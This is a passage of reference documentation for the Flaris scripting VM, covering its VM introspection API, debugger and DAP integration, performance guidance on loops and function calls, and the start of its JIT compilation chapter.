SetInterval	`SetInterval(ms:int|float, func:fn ) - int|nil`	Fire `fn` every `ms` milliseconds; ticks missed while the VM was busy are dropped, not replayed as a burst. Returns a handle, or `nil` if `ms` is NaN or `<= 0`, or the timer table is full.	—

Function	Signature	Description	JIT
SetTimeout	`SetTimeout(ms:int|float, func:fn) - int|nil`	Fire `fn` once after `ms` milliseconds (a negative delay fires as soon as possible). Returns a handle, or `nil` on a NaN delay or when the timer table is full.	—

VM

Namespace: `VM`

Virtual machine introspection and control.

Function	Signature	Description	JIT
Compile	`Compile(src:string, arity?:int) - function|nil`	Compile a STATEMENT body into a callable function. `src` becomes the body of a function taking `arity` parameters named `arg0..argN` (use `return` for the result). Max 10 KB; returns `nil` on compile failure.	—
CompactMemory	`CompactMemory()`	Run a memory compaction pass: dropped objects are reclaimed and empty object slabs go back to the OS. String memory stays with the VM and is reused for new strings until the VM ends. Cheap when there is nothing to return; call it after a burst of temporary objects a long-running program will not repeat.	—
CurrentAllocations	`CurrentAllocations() - int`	Current live allocation count.	—
Eval	`Eval(src:string, ...args) - any`	Compile and immediately evaluate `src`. Tried first as an EXPRESSION (`Eval("40 + 2")` → `42`); if that fails to compile it is retried as a statement body, where an explicit `return` provides the result (`nil` otherwise). Extra call arguments are bound to `arg0..argN`: `Eval("arg0 * arg1", 6, 7)` → `42`. Max 10 KB; returns `nil` on compile failure (the process is never terminated by a bad `src`). Each `Eval` compiles as its own unit: it cannot reference host globals by name, and a `global` declaration naming one that already exists is a compile error (1004), so Eval cannot change a value the program was compiled against. Eval'd code runs with full VM authority - never pass it untrusted input.	—
Exit	`Exit(code:int) - nil`	End the program with this exit code. Inside a host application it raises instead, reporting the code: a script choosing to stop does not stop the host.	—
GetFunctionInfo	`GetFunctionInfo(fn:callable) - object`	Return an object describing a function. Accepts `function`, `builtin`, `ffi`, and bound methods. See field table below.	—
GetModuleInfo	`GetModuleInfo(name:string) - object|nil`	Return an object describing a built-in module. `Members` array contains `{Name, Signature}` per function; `Constants` array contains `{Name, Type, Value}` per constant. Returns `nil` if the module name is not found.	—
GetStartTimeMs	`GetStartTimeMs() - int`	VM start time in milliseconds since epoch.	—
Import	`VM.Import(name:string, version:string, fingerprint?:string)`	Load or return cached module by name and version requirement. `version` uses the same syntax as `library()`: `"1.0"`, `">=1.2 <2.0"`, etc. Optional `fingerprint` is the whole-file SHA-256 (== `sha256sum`; a `sha256:` prefix is accepted) - if provided and mismatched, the VM halts regardless of `--no-verify`. `let m = VM.Import("jwt", "1.0");`. See version syntax table in Guide §6.	—

Function	Signature	Description	JIT
MemoryStats	`MemoryStats() - object`	Snapshot of allocator counters: `Current` (live objects), `Peak` (high-water live objects), `HeapBytes` (cumulative bytes requested from malloc/calloc/realloc, by every VM in the process together), `BlockRegions` / `BlockBytes` (live block allocations and their size), `SlabCacheFree` (objects held in the free-list cache), `StringPoolChunks` / `StringPoolBytes` (chunks the string pool currently holds and their size) and `StringPoolFree` (string bodies parked in the pool for reuse). A superset of `CurrentAllocations` / `PeakAllocations` for tooling and leak checks.	—
OnSignal	`OnSignal(signum:int, handler:fn) - bool`	Register a signal handler and return `true`. Only signals the VM installs an OS handler for are accepted: SIGHUP, SIGINT, SIGUSR1, SIGUSR2, SIGTERM (numbers are platform-specific). Any other signal - including the uncatchable SIGKILL/SIGSTOP, which could never be delivered - or a non-function handler returns `false`.	—
NotifyHost	`NotifyHost(code:int, payload?:any) - bool`	Hand `code` (and optionally a value) to the embedding host application. Returns `true` when a host handler ran, `false` when nothing is listening - which is what the `flarisvm` command and any host that does not install a handler report, so a script using this runs unchanged everywhere. One-way and COOPERATIVE: it fires only where the script calls it, so a host cannot use it to interrupt a script that never returns. See the Embedding guide §11.	—
PatchFunction	`PatchFunction(original:fn, replacement:fn) - bool`	Replace function at runtime. Requires running unsafe-mode `-` `-unsafe`. The replacement may be a Flaris-function, a builtin-function or a FFI-function. Pass `nil` as replacement to remove the patch. Caveats: call sites the compiler inlined (trivial single-`return` functions) and calls made from inside JIT-compiled functions bypass the patch; self-recursive calls inside the original body also keep calling the original.	—
PeakAllocations	`PeakAllocations() - int`	Peak allocation count since VM start.	—
RaiseSignal	`RaiseSignal(signum:int) - bool`	Raise signal `signum` for the handler registered with `OnSignal`, which runs on the next signal pump. Returns `false` and sends nothing when no handler is registered for `signum` (so always for an uncatchable signal or an out-of-range number) or when the embedding host turned the VM's signal handling off: the OS default would end the process.	—
SignalName	`SignalName(signum:int) - string|nil`	Canonical name (e.g. `"SIGINT"`) for a signal number, or `nil` if unknown on this platform.	—
SignalNumber	`SignalNumber(name:string) - int|nil`	Platform signal number for a name like `"SIGINT"` (the `"SIG"` prefix is optional), or `nil` if unknown. Use this instead of hardcoding numbers, which are platform-specific (`SIGUSR1` is 10 on Linux, 30 on macOS).	—
Version	`Version() - int`	The running runtime's version, packed as `0xMMmmppbb` (major, minor, patch, build) - the same encoding a `.flx` file's header stores and `Ffi.GetVersion` reads from a plugin. `let v = VM.Version(); let patch = (v >> 8) & 0xFF;`.	—

`GetFunctionInfo` - returned object fields

Field	Type	Description
`Kind`	string	`"function"`, `"builtin"`, `"ffi"`, or `"unknown"`
`Name`	string|nil	Function name. For builtins resolved as `"Module.Name"`. Nil if anonymous.
`Arity`	int	Number of required parameters.
`Optional`	int	Number of optional parameters (builtins only; 0 for scripted and FFI).
`Returns`	string	Return type as a human-readable string (e.g. `"string"`, `"int|nil"`).
`ReturnType`	int	Return type as a raw type-mask integer.
`ArgTypes`	array<int>	Per-argument type masks in declaration order.
`ArgTypeNames`	array<string>	Per-argument type names in declaration order.
`IsStatic`	bool	`true` if the function is a static method.
`IsAsync`	bool	`true` if declared `async`.
`IsMethod`	bool	`true` if the function is an instance method (thiscall).
`Owner`	string|nil	Class name for methods; nil for free functions.
`Signature`	string	Rendered signature, e.g. `"fn Module.Name(int, string?) - bool"`.

Bound methods are automatically unwrapped - passing a bound method returns info about the underlying function.

R9 - Debug Reference

Debug Info

Debug info is **off** by default. `-g` (alias `--no-strip`) turns it on and `--debug` / `--dap` imply it. `--strip` turns it off even under `--debug`; between `-g` and `--strip` the last one given wins.

Recorded	With `-g`	Without
Source line markers	One wherever the source line changes (two statements on one line share a marker); stack traces and debugger stepping read them	None - every frame reports line 0
Local variable names	Kept in the compiled code, so the debugger can show them	Dropped - the debugger lists slots as `<unnamed>`
Function names and source file	Always	Always
`breakpoint` statements	Always	Always

A line marker is one extra instruction executed each time its line runs. Lines past 65,535 all report 65,535 (the compiler warns once).

Size overhead with `-g`: a compiled `.flx` is typically 7-17% larger. **Execution overhead:** ~2–3%.

The same runtime error without and with `-g`:

```
fn Boom(a) {
    let v = a[5];
    return v;
}

fn Main() {
    let a = [1, 2];
```

```
    Console.WriteLine(Boom(a));
}
```

```
$ flarisvm app.fls
Unhandled exception! IP=4 Line: 0 Code: 4, Message: 'Index 5 out of bounds (length 2)'
Stack trace (depth: 2):
  at Main (app.fls) [ip=15, line=0]
  at Boom (app.fls) [ip=4, line=0]

$ flarisvm -g app.fls
Unhandled exception! IP=10 Line: 2 Code: 4, Message: 'Index 5 out of bounds (length 2)'
Stack trace (depth: 2):
  at Main (app.fls) [ip=24, line=8]
  at Boom (app.fls) [ip=10, line=2]
```

Quick Reference

CLI Flags for Debugging

Flag	Effect	When to use
(default)	Debug info OFF - traces report line 0	Production, embedded
`-g` / `--no-strip`	Debug info ON - line numbers in traces	Development, testing
`--strip`	Debug info OFF, even with `--debug`	Overriding `--debug`
`--verbose`	Verbose output	High-level debugging
`--trace`	Very verbose	Opcode-level tracing
`--time`	Timing report	Performance analysis
`--stats`	Statistics	Memory debugging
`--debug`	Stop at `Main`, open the prompt	Interactive debugging

Debug Module Quick Summary

Function	Purpose
`Debug.Stack()`	Dump operand stack to stdout
`Debug.Pool()`	Memory slab statistics (requires `--unsafe`)
`Debug.Value(v)`	Inspect value (type, ref-count, address) (requires `--unsafe`)
`Debug.Assert(a, b)`	Equality check - aborts the VM on failure
`Debug.AssertTrue(c)`	Truthiness check - ends the program on failure (raises inside a host)
`Debug.GuardAddress(p)`	Watch memory address - traps on access (requires `--unsafe`)
`Debug.StackPtr()`	Current stack depth as integer
`Debug.Refs(o)`	External reference count of a value (`-1` for tagged immediates)
`Debug.Here(msg?)`	Print location marker (file/line/function)

Breakpoint Statement

```
breakpoint 100;              // Unconditional — always triggers
if (error) breakpoint 200;   // Conditional
```

Codes are user-defined integers. Use a namespace convention (e.g. 1000 = startup, 2000 = after validation) to make them meaningful.

A `breakpoint` statement is not the only way in. `--debug` stops at the start of `Main` and opens the prompt there, so a session can begin without editing the source at all - set breakpoints by function or by line and continue:

```
$ flarisvm --debug app.fls
[Entry] Main (app.fls:40) [fiber 1]
(fdb) b inspectOrder
breakpoint 1 at app.fls:21 (inspectOrder)
(fdb) b Order.Describe
breakpoint 2 at app.fls:18 (Order.Describe)
(fdb) c

[Breakpoint 1] inspectOrder (app.fls:21) [fiber 1]
(fdb) n
[Step] inspectOrder (app.fls:22) [fiber 1]
(fdb)                       <- an empty line repeats the step
```

The stop waits for `Main` rather than the first line executed: the module prologue runs first and is what defines the program's classes and functions, so stopping before it finished would leave nothing to set a breakpoint on.

Reaching a breakpoint opens an interactive prompt that pauses the whole VM and lets you walk the call stack and inspect values:

```
[Breakpoint:42] inspectOrder (app.fls:26) [fiber 1]
(fdb) bt
-> #0  inspectOrder (app.fls:26)
   #1  handleRequest (app.fls:33)
   #2  Main (app.fls:39)
(fdb) locals
  [0] order            = (instance) Instance: Order, {1017, 249.5, espresso}
  [1] retries          = (int) 2
  [2] items            = (array) [10, 20, 30]
(fdb) p order.label
order.label = (string) espresso
(fdb) c
```

Command	Purpose
`s` / `n`	Step into / step over one source line
`finish`	Run until the selected frame returns
(empty line)	Repeat the last step
`b [<file>:]<line>`	Set a line breakpoint (bare line = the selected frame's file)
`b <function>`	Break at a function's first line; `Class.Method` works too
`delete [<id>]`	Delete one breakpoint, or all of them
`info`	List breakpoints with hit counts
`bt`	Backtrace, innermost frame as `#0`

Command	Purpose
`frame <n>`	Select frame `<n>`
`up` / `down [n]`	Move `n` frames outward / inward (default 1)
`locals`	Locals of the selected frame, named from debug info
`p <path>`	Print a value: `name`, `name.field`, `name[0]`, or a chain of those
`list`	Source lines around the selected frame
`dis [n]`	Bytecode around the instruction the selected frame is stopped at, `n` either side (default 6)
`dis ir [fn]`	JIT IR of the selected frame, or of a named function
`stack`	Operand stack contents
`fibers`	Every live fiber, its state, position and what it waits on
`c`	Continue execution
`q`	Quit (exit code 5)
`help`	Command list

Inspection is read-only: the prompt never allocates a value, changes a reference count or raises, so looking at a program cannot change how it behaves.

Editor Debugging (DAP)

`flarisvm --dap=<port>` serves the Debug Adapter Protocol, so an editor can drive the same debugger: breakpoints in the gutter, stepping, a variables pane and a call stack. The VSCode extension in `vscode-flaris/` contributes a `flaris` debug type that starts the VM and connects for you; a minimal `launch.json` is:

```
{
  "type": "flaris",
  "request": "launch",
  "name": "Debug current Flaris file",
  "program": "${file}",
  "cwd": "${workspaceFolder}"
}
```

The transport is a TCP socket on loopback, never stdio: the debugged program owns stdout, and a protocol sharing that stream would be corrupted by the first `Console.WriteLine`. The adapter binds `127.0.0.1` only, so a session is never reachable off the machine.

A DAP thread is a fiber. The mapping is exact - fibers have ids, their own call stacks and their own scheduling state - so the editor's thread picker becomes a fiber picker.

Supported requests: `initialize`, `launch`, `setBreakpoints`, `dataBreakpointInfo`, `setDataBreakpoints`, `configurationDone`, `threads`, `stackTrace`, `scopes`, `variables`, `evaluate`, `disassemble`, `continue`, `next`, `stepIn`, `stepOut`, `pause`, `disconnect`.

`evaluate` resolves the same paths the prompt's `p` does (`order.items[0]`), not arbitrary expressions, and reports a failure rather than inventing a value. Conditional breakpoints and `setVariable` are not implemented, and the adapter says so during `initialize` so the editor does not offer them.

Pausing and editing breakpoints while running. Requests are normally served while the program is stopped, but `pause` and `setBreakpoints` also have to be noticed mid-run. The adapter checks its socket every 128 line events - often enough to feel immediate, rare enough that it is not paying a syscall per source

line. A `pause` takes effect at the next line boundary, which is where every other stop lands too; there is no way to suspend mid-instruction. Requests that would read a paused state (`stackTrace`, `variables`, stepping) are refused while running rather than answered with stale frames.

Disassembly. The editor's Disassembly View is served from the same disassembler `dis` uses at the prompt. A bytecode VM has no machine address to report, but the client parses memory references and instruction addresses *numerically*, so a position is dressed as one: the frame level occupies the high byte and the bytecode offset the low 24 bits (`0x0000003A` is offset `0x3A` in frame 0). A non-numeric reference makes the view report "Disassembly not available". Only real instructions are returned - padding rows would need invented addresses, and the client indexes rows by address.

Open it by right-clicking a frame in the Call Stack and choosing **Open Disassembly View**. Its step buttons step by source line: instruction-granularity stepping is not offered, because the debugger's hook is on line events.

Data breakpoint at an address. Add Data Breakpoint at Address in the editor's Breakpoints view (VS Code 1.90 or later) arms the `Debug.GuardAddress` watch: enter `0xA000`, or the decimal value a pointer variable shows, and the program stops with reason *data breakpoint* when a `Memory.Read*` / `Write*` or a block element access starts at exactly that address - before an access the address does not allow raises. The VM watches one address: a second data breakpoint is reported unverified. It stays armed until removed in the editor (without an editor it fires once), and setting it replaces an address the program armed itself. Only addresses can be watched; a variable offers no "Break on Value Change".

Because `--dap` implies `--debug`, the JIT is disabled for the session and the program stops at the start of `Main` before the first line runs.

Uncaught Exceptions

An exception that reaches the top of a fiber with no handler is reported with its own code and message, and the process exits with that code:

```
Unhandled exception (code 42): boom
Stack trace (depth: 2):
  at Main (app.fls) [ip=34, line=9]
  at level3 (app.fls) [ip=31, line=3]
```

Under `--debug` the prompt opens at the throw site instead, with every frame still standing, so the values that produced the failure can be inspected:

```
[Unhandled exception: code 42] level3 (app.fls:3) [fiber 1]
(fdb) locals
  [0] x                = (int) 11
  [1] doomed           = (int) 22
(fdb) up
-> #1  Main (app.fls:9)
```

The program cannot resume from there - `c` and `q` both exit, with the exception's code.

Inspecting Fibers

`fibers` lists every live fiber with its state, current position and what it is parked on. Scheduling is cooperative and single-threaded, so the whole program is frozen while the prompt is open and the listing is a consistent snapshot - which is what makes it useful for a program that has stopped making progress:

```
(fdb) fibers
-> #1   running     frames=2    Main (app.fls:18)
   #2   yielded     frames=1    producer (app.fls:3)
   #3   wait-fiber  frames=1    consumer (app.fls:9)  waiting on fiber 2
```

Stepping and line breakpoints are decided at the line markers that debug info adds wherever the source line changes. Nothing is examined unless a step is pending or a breakpoint exists, so an ordinary run costs one predicted branch per marker, and code compiled without debug info has no markers at all.

Notes:

- A step belongs to the fiber that issued it. Other fibers run between two line events of the stepped one, and their lines never satisfy the step.
- `--debug` disables the JIT. A JIT-compiled function runs natively and never executes a line event, so breakpoints and steps could not reach inside one; turning the JIT off is what makes stopping reliable rather than silent.
- The prompt opens when stdin is a terminal. Otherwise the breakpoint prints its location and execution continues, so a `breakpoint` left in committed code cannot hang a piped or CI run. Pass `--debug` to open the prompt anyway, which is also how a session is driven from a script.
- `--strip` removes line markers and variable names, not `breakpoint` statements, which still fire; slots and their values are still listed, as `<unnamed>`.
- `bt` shows the frames that actually exist. A tail call reuses its caller's frame, so a function that ends in `return f(...)` does not appear above `f`.
- Names resolve against the selected frame's locals first, then module and global scope.

Real-World Debugging Examples

Breakpoint with Bytecode Context

`dis` at the prompt shows the instruction stream around the instruction the selected frame is stopped at, marked `>>`. `--verbose` prints the same window automatically when the breakpoint fires.

```
[Breakpoint:100] main (app.fls:1649) [fiber 1]
(fdb) dis
bytecode at ip=4957 in main:
   [4929] LESS_EQUAL
   [4930] CALL1_BUILTIN          mod-id:12 func-id:1 -> Console.WriteLine
   [4933] POP
>> [4957] BREAKPOINT             code=100
   [4960] LINE                   line=1651
```

Selecting an outer frame with `up` marks the call that frame is waiting inside, so `dis` always points at where that frame actually is.

The window always starts on a real instruction boundary. Because instructions are variable length, it is found by decoding forward from the start of the chunk rather than by stepping back a fixed number of bytes.

For a JIT-compiled function, `dis ir <fn>` shows the typed register IR it was compiled from. A function containing a `breakpoint` is never JIT-eligible, so name the kernel you want rather than expecting IR for the frame you stopped in:

```
(fdb) dis ir kernel
JIT IR for kernel:
  ── JIT IR  (regs=5  ir_bytes=54) ──
    0022  ARITH_IMM8     r3, MUL, r2, 3
    0027  ARITH_II       r1, ADD, r1, r3
    0031  LOOP           -40  -000c
    0034  RET            r1
```

Memory Guard Trigger

```
Debug.GuardAddress(critical_data);
run_entire_program(critical_data);
// Any code that touches this object will stop here:
// [Mem-guard] R/W-operation on memory address 0xC98CDC1D0 in function main, line 1491
```

Tracking Stack Leaks

```
let before = Debug.StackPtr();
risky_operation(data);
let after = Debug.StackPtr();
if (after != before) {
    Console.WriteLine("Stack leak: delta =", after - before);
    Debug.Stack();
}
```

Full Debug Session Pattern

```
fn investigate(data) {
    Debug.Here("start");
    let alloc_before = VM.CurrentAllocations();
    let stack_before = Debug.StackPtr();
    Debug.Pool();

    Debug.GuardAddress(data);
    breakpoint 100;
```

```
    let result = risky_operation(data);

    breakpoint 200;

    if (Debug.StackPtr() != stack_before) Console.WriteLine("STACK LEAK!");
    Debug.Value(result);
    Debug.Pool();
    Console.WriteLine("Alloc delta:", VM.CurrentAllocations() - alloc_before);
    Debug.Here("end");
}
```

For FFI plugin development, see `ffi.md`.

R10 - Writing Fast Flaris Code

This chapter translates the execution model from R7 into concrete coding patterns. Each recommendation is grounded in how many VM dispatch cycles a pattern consumes per iteration.

Dispatch count is the most direct proxy for loop speed.

Counting loops: use `iter` for known integer ranges

`iter` is the fastest loop construct in Flaris. A single fused instruction both increments the counter and checks the bound - one dispatch for what `while` needs three to do.

```
// Best - 2 dispatches/iteration overhead
iter (i from 0 to n - 1) {
    sum += arr[i];
}
```

Equivalent `while` costs at least 3 dispatches overhead (compare-jump + increment + loop-back). Use `iter` whenever the range is a fixed integer expression known at the loop head.

`iter` allocates no iterator object. `i` is a local slot that starts at `from` and runs while `i < to`.

The lower bound is inclusive, the upper bound exclusive - the range is `[from, to)`. `iter (i from 0 to 3)` runs three times, with `i` taking 0, 1 and 2, so walking a collection is `from 0 to len(x)`. A range whose start is not below its end (`from 0 to 0`, which is what an empty collection produces) runs zero times. This is exactly the set of values `while (i < to) { ...; i++ }` covers.

Comparing locals to constants: `while` fuses to a single instruction

When the loop condition is `local < constant` (or `<=`, `>`, `>=`), the compiler fuses the compare and branch into a single instruction instead of the four-instruction sequence a generic condition would require. A literal bound up to ±127 encodes in 1 byte; larger bounds encode in 4 bytes - both still one dispatch.

```
// Fused - 1 dispatch for the entire condition
while (i < 1_000_000) { ... }   // large literal bound (4-byte encoding)
while (i < 100)       { ... }   // small literal bound (1-byte encoding)

// Also fused - local vs local
while (i < len) { ... }
```

All comparison operators (`<`, `<=`, `>`, `>=`, `==`, `!=`) are eligible. The bound must be a literal integer or a local variable resolved at compile time. If it is an expression (e.g. `arr.count + 1`), cache it into a local before the loop:

```
let limit = arr.count + 1;      // evaluated once
while (i < limit) { ... }       // fused, 1 dispatch
```

Incrementing counters: all three forms compile the same

`i++`, `i += 1` and `i = i + 1` all compile to the same 2-byte, single-dispatch instruction: the compiler rewrites a self-assignment into its compound form before code generation. Pick whichever reads best.

Form	Encoding	Dispatches
`i++`	2 bytes	1
`i += 1`	2 bytes	1
`i = i + 1`	2 bytes	1

The same holds for `--` and for any compound operator: `n += x`, `n = n + x` and, for a numeric `n` and `x`, `n = x + n` all produce the fused zero-stack instruction. The one form that stays a general assignment is `n = x + n` where either side may be a string or an array, because `+` does not commute there.

Compound assignment: zero stack traffic

`n += x`, `n -= x`, `n *= x` etc. compile to a compact fused instruction (zero stack, 1 dispatch) when `x` is a local or a small literal. Larger right-hand sides are evaluated on the stack and folded into the local with one instruction, so the cost is the expression itself, not the assignment.

```
// Zero-stack, 1 dispatch each
sum += arr[i];
n   *= factor;
```

Cache repeated property and array accesses into locals

Every `obj.prop` or `arr[expr]` inside a loop re-executes a hashmap lookup or bounds-checked index. Pull stable reads out of the loop body.

```
// Without caching - hashmap + bounds check every iteration
while (i < data.count) {
```

```
    process(data.items[i]);
    i++;
}

// With caching - local reads only inside the loop
let items = data.items;
let count = data.count;
while (i < count) {
    process(items[i]);
    i++;
}
```

This combines with the fused-compare rule: `while (i < count)` fuses to a single instruction because `count` is now a local.

For array element reads inside loops, the compiler uses a zero-stack fast path when both the array and the index are locals, avoiding the generic dispatch path entirely.

The same principle applies to method calls. Storing a method reference in a local before the loop avoids repeating the hash lookup on every iteration:

```
// Without caching - hash lookup on every call
while (i < count) {
    obj.process(data[i]);
    i++;
}

// With caching - direct call, no lookup
let fn = obj.process;
while (i < count) {
    fn(data[i]);
    i++;
}
```

Keep variables type-stable inside loops

The VM fast-paths for arithmetic and comparison check the type tag on every operation. A variable that starts as an integer and becomes a float mid-loop forces the slow path on every subsequent instruction.

```
// Good - tag-int fast path throughout
let sum: int = 0;
iter (i from 0 to n - 1) {
    sum += values[i];   // stays int the whole way
}

// Risky - if any values[i] is a float, sum flips type mid-loop
let sum = 0;
```

```
iter (i from 0 to n - 1) {
    sum += values[i];
}
```

Type annotations on locals (`let sum: int = 0`) are enforced by the analyzer and allow the compiler to take the fastest arithmetic path.

Typed parameters and call cost

Flaris supports two styles: quick untyped scripts and fully typed code. Typing changes what a call costs and what the compiler can do with the function.

A call to a function with typed parameters checks every argument against its declared type: one test per argument, on every call, in the interpreter and at the entry to native code. A function without typed parameters skips that loop, so the check itself is not where typing pays off. A `nil` argument to a parameter typed `int`, `float`, `char` or `bool` arrives as the type's zero, so the body never sees a value outside its declaration.

```
// Untyped - the call checks only the argument count
fn fib(n) {
    if (n < 2) return n;
    return fib(n - 1) + fib(n - 2);
}

// Typed - the call checks n; the compiler knows n is an int in the body
fn fib(n: int): int {
    if (n < 2) return n;
    return fib(n - 1) + fib(n - 2);
}
```

Typing pays off in the body: the compiler fuses `int` and `float` arithmetic and comparisons, calls array methods on a `[int]` directly, and the JIT compiles only functions whose parameters are all typed (see JIT eligibility). The gain is proportional to how hot the body is; a function called once gains nothing measurable.

Guideline: write untyped for glue code, one-off scripts, and prototypes. Add type annotations to any function that sits on a hot path.

Inline small functions to remove call overhead

A function marked `inline` has its body expanded into each call site, removing the call frame entirely; this happens with or without `--no-opt`. Arguments are evaluated once, in order, and bound to fresh temporaries, and a missing argument is `nil` exactly as in a normal call. With optimizations on, the compiler also auto-inlines a top-level, non-async function whose whole body is one `return` of a simple expression - a unary or binary operator, a literal, a variable, a member or index read, but not a call or `?:` - and only at a call that passes exactly one plain variable or literal per parameter.

The call site falls back to a normal call whenever expanding it could change what a name means, how often it runs, or which checks apply:

- a name in the body would collide with a caller local, or - at a call site inside a method - with a field or method of that class;
- recursive inlining is past 8 levels;
- the call passes more arguments than the function has parameters;
- an argument is not provably of its parameter's declared type (an untyped parameter accepts anything). The normal call is where that type is checked, so `sq(v)` with `fn inline sq(x:int)` is expanded only when `v` is known to be an int.

Inlining therefore never changes behavior.

```
fn inline sq(x) { return x * x; }   // expands at each call site
fn dist2(a, b) { return sq(a) + sq(b); }
```

Inline aggressively only for small, hot helpers - a large inlined body is duplicated at every call site and can bloat the bytecode.

Tail calls run in constant stack space

When a `return` directly returns a call - `return f(x);` - the compiler emits a **tail call** that reuses the current frame instead of pushing a new one. A self-recursive tail call (`return self(...)`) is lowered even more tightly: it restarts the current function in place without looking the callee up. This lets recursion-as-iteration run in O(1) stack:

```
fn sum(n, acc) {
    if (n == 0) { return acc; }
    return sum(n - 1, acc + n);   // tail call - constant stack depth
}
```

A tail call into a function that has native code enters that code exactly like a plain call, so `return kernel(x);` costs nothing over `let r = kernel(x); return r;` .

A `return f(x);` inside a `try` block is not a tail call: the frame has to stay for its handler, so recursion through it grows the stack like any other call. `--no-opt` turns tail-call elimination off everywhere.

Note: a self tail call always re-enters the original function body; it is not affected by a later `VM.PatchFunction` override of that name.

Leave debug info off in production

Debug info is off by default. `-g` adds a line marker wherever the source line changes, and each marker is one extra dispatch every time its line runs, including inside loop bodies. JIT-compiled functions run no markers. Function and file names are recorded either way, so stack traces stay readable without `-g` - they just report line 0.

Mode	Extra dispatches per loop iteration
Default (no debug info)	0
`-g`	1 per source line in the loop body

For a 10 million-iteration interpreted loop with two body lines, `-g` added roughly 3–7 ms on M-series hardware. Keep it for development and leave it out of production builds.

```
# Development - line numbers in stack traces, optimizations on
flarisvm -g myapp.fls

# Production - no debug info (the default), optimizations on (the default)
flarisvm myapp.fls

# Compile for distribution
flarisvm --compile myapp.fls myapp.flx
```

Dispatch budget summary for common loop patterns

All figures measured without `-g` on M-series hardware. "Overhead" is the number of VM dispatches per iteration that are not the loop body.

Pattern	Overhead dispatches	Notes
`iter (i from 0 to N + 1) { ... }`	2	fused increment+check + loop-back
`while (i < N) { i++; }`	3	fused compare + compact increment + loop-back
`while (i < N) { i += 1; }`	3	fused compare + compound assign + loop-back
`while (i < N) { i = i + 1; }`	3	same - the self-assignment compiles like `i++`
`while (i < N) { ... }` with `-g`	+1 per body line	debug line markers
`obj.method()` per iteration	-	hash lookup each call
`let fn = obj.method; fn()` per iteration	-	direct call; saves the lookup

The `iter` row saves one dispatch per iteration over the `while` rows, which is what separates the two functions in the example below; debug line markers under `-g` cost more than either.

Worked example: arithmetic benchmark

```
// while loop - 4 dispatches per iteration
fn while_sum(n) {
    let sum = 0;
    let i = 0;
    while (i < n) {      // fused compare+branch, 1 dispatch
        sum = sum + i;   // fused, 1 dispatch (same as sum += i)
        i = i + 1;       // fused, 1 dispatch (same as i++)
    }                    // loop-back, 1 dispatch
    return sum;
}

// iter loop - 3 dispatches per iteration
fn iter_sum(n) {
    let sum = 0;
    iter (i from 0 to n + 1) {   // fused increment+check, 1 dispatch
        sum += i;            // fused, 1 dispatch
```

```
    }                       // loop-back, 1 dispatch
    return sum;
}
```

Both assignment styles produce the same instructions; the saving comes from `iter` folding the counter's increment and bound check into one instruction.

R11 - JIT Compilation

On ARM64 and x86-64, Flaris includes a second execution tier: a function-level JIT compiler that translates eligible functions to native machine code. JIT-compiled functions run much faster than the bytecode interpreter for numeric workloads.

The JIT is **on by default** and gates the pipeline at both ends. `--jit-disable` turns it off at whichever end you pass it:

Step	Command	Effect
Compile	`flarisvm --compile app.fls app.flx`	Generates JIT IR and embeds it in the `.flx` alongside standard bytecode
Run	`flarisvm --exec app.flx`	Compiles the embedded JIT IR to native code on first function load

With `--jit-disable` at compile time, no JIT IR is written - the `.flx` is standard bytecode only. With `--jit-disable` at run time, any JIT IR in the file is loaded but not compiled; functions run on the bytecode interpreter.

The JIT backend is automatically selected at run time based on the CPU: ARM64 on Apple Silicon / Raspberry Pi with a 64-bit OS / etc., and x86-64 on Linux/macOS/Windows PCs. On other platforms the bytecode interpreter is the only execution tier.

The JIT boundary - why it exists

The JIT compiler works on **unboxed, statically-typed values**. Inside a JIT-compiled function, integers are bare 64-bit integers, floats are bare 64-bit doubles, and strings, blocks, and typed arrays are raw pointers to their objects. There is no dynamic dispatch, and heap allocation is limited to a few tracked patterns.

What runs natively inside a JIT function:

Allowed in a JIT function	Constraint
Integer/float/bool/char arithmetic and comparisons	-
Typed-array and block element access (`a[i]`, `Buffer.*At`)	Array/block must arrive as a typed parameter or a tracked local
String comparison (`==`, `!=`, `<`, `<=`, `>`, `>=`)	Both operands strings (variables, literals, or string fields of `this`)
String concatenation `s + t`	Only as a local initializer, a return value, or a builtin-call argument
`Buffer.Create` / `Array.Create` and other allocating builtins	Only as a local initializer or a return value (the frame owns and releases the result)
`Array.Append` / `InsertAt` / `RemoveAt` / `Clear` / `Reserve` on a typed array	On an `[int]` / `[float]` / `[char]` / `[bool]` array. `Append` and `InsertAt` as a statement, also `a = Array.Append(a, v)`; `RemoveAt`, `Clear` and `Reserve` anywhere. Each has the method form `a.Append(v)`

Allowed in a JIT function	Constraint
Homogeneous `[int]` / `[float]` array literals with computed elements (`[x, y, x*2]`)	Only as a local initializer (allocated + filled as an owned typed array). Fully-constant literals are already const-folded
`this.<field>` reads (scalar unboxed; string/array/block/object/float borrowed) and stores (int/bool/char inline, `float` copy-on-write, object fields borrowed)	Declared fields of the method's own class
`<recv>.<field>` reads and stores, where `recv` is a **class-typed parameter** (`a: Vec2`) or a **`new`-pinned local**	The receiver's class is known at compile time; int/bool/char store inline, `float` fields store copy-on-write (no per-store allocation), object fields take a borrowed value
`<recv>.method(...)` on a class-typed parameter or `new`-pinned local	The method must be a non-overridden instance method that is itself JIT-eligible
`let p = new C()` for a **constructor-less** class	The frame owns and releases the instance; `p` must not be reassigned
Calls to other JIT-compiled script functions	Callee must be JIT-eligible and return a scalar (object returns stay at the interpreter boundary). Recursion stays native too: a function or static method calling itself, and functions or sibling static methods calling each other
Calls to stdlib builtins marked in the `JIT` column of R8	See the column legend below
`x == nil` / `x != nil`	A parameter not declared `T|nil` folds to a constant - a native call always has all arguments present and typed; any other string, block, instance, array or object value is compared with nil directly
`a ?? b`	Tests for `nil` only - `false` and `0` are values. When `a` cannot be nil in native code - an optional parameter (a native call has every argument present), a parameter not declared `T|nil`, a scalar - it is the result and `b` is not evaluated. A `T|nil` value picks between two values of the same kind read in place: variables, fields, literals, `nil`, or another `??`. A right side that allocates (a call, a concatenation) keeps the function interpreted
`T|nil` parameters, returns and locals (`string|nil`, `block|nil`, `instance|nil`)	A nullable value may be compared, stored, returned, concatenated, passed to a builtin or to a `T|nil` parameter. Indexing and `foreach` need it narrowed first (`if (s == nil) { return 0; }`), because interpreted code yields `nil` there, or runs the loop zero times
`nil` literals	Stored into an object-typed local or field, returned from an object-returning function, compared, or passed to a builtin or a `T|nil` parameter
